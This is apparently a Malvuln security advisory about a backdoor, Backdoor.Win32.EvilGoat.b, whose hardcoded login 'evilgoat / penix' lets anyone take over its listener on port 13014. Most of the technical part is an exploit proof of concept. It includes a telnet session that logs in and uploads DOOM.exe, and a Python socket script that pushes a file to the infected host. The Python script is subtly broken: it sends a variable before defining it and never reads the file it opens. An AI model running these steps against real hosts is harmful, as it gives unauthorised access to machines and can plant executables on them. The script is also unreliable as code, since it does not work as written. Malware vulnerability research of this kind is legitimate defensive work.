Backdoor.Win32.EvilGoat.b / Weak Hardcoded Credentials

us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: Contact: Media: Threat: Backdoor.Win32.EvilGoat.b Vulnerability: Weak Hardcoded Credentials Description: The malware listens on TCP port 13014. Authentication is required, however the credentials "evilgoat / penix" are weak and found within the PE file. Family: EvilGoat Type: PE32 MD5: 20daf01e941f966b21a7ae431faefc65 Vuln ID: MVID-2022-0619 Dropped files: ftpsvr.exe Disclosure: 06/29/2022 Exploit/PoC: telnet.exe x.x.x.x 13014 220 FTP Server USER evilgoat 331 Password required for evilgoat. PASS penix 230 User evilgoat logged in. SYST 500 'SYST': command not understood. PASV 227 Entering Passive Mode (192,168,18,125,236,209) CDUP \ 250 CWD command successful. STOR DOOM.exe 150 Opening BINARY mode data connection for file transfer. 226 Upload Complete, 25602 bytes sent. from socket import * MALWARE_HOST="" PORT=60625 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = s.send(EXE) while EXE: s.send(EXE) s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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